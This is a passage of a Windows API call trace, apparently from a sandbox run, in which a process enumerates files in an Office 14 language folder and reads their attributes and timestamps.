ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xb9378, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb60400, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bb60400, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a980, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x588a20, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV.HXS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cf1400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x50fdcc60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62cf1400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96053b00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96053b00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x2b532a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.HXS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e34500, ftCreationTime.dwHighDateTime=0x1ca90f4, ftLastAccessTime.dwLowDateTime=0x51002dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4e34500, ftLastWriteTime.dwHighDateTime=0x1ca90f4, nFileSizeHigh=0x0, nFileSizeLow=0xd6cc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET.HXS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x2a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXC", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXT", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51ca82a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXC", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXT", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3b8d00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f3b8d00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62b3700, ftCreationTime.dwHighDateTime=0x1ca5009, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe62b3700, ftLastWriteTime.dwHighDateTime=0x1ca5009, nFileSizeHigh=0x0, nFileSizeLow=0x22e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM.HXS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65709000, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x65709000, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXC", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be72800, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5be72800, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXT", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x26745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD.HXS", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXC", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXT", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xc570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.VSL", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52086660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.VSL", cAlternateFileName="")) returned 1 [0069.662] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vsdir", cAlternateFileName="")) returned 1 [0069.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.662] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.663] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.663] NtClose (Handle=0x148) returned 0x0 [0069.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.663] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.663] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.663] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 1 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ef18 [0069.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076df0 [0069.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 0 [0069.664] GetLastError () returned 0x12 [0069.664] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.664] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="")) returned 0 [0069.664] GetLastError () returned 0x12 [0069.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.664] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xa3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDALLLNK.VRD", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d9b00, ftCreationTime.dwHighDateTime=0x1c2a020, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd43d9b00, ftLastWriteTime.dwHighDateTime=0x1c2a020, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDCMPVRD.XML", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, 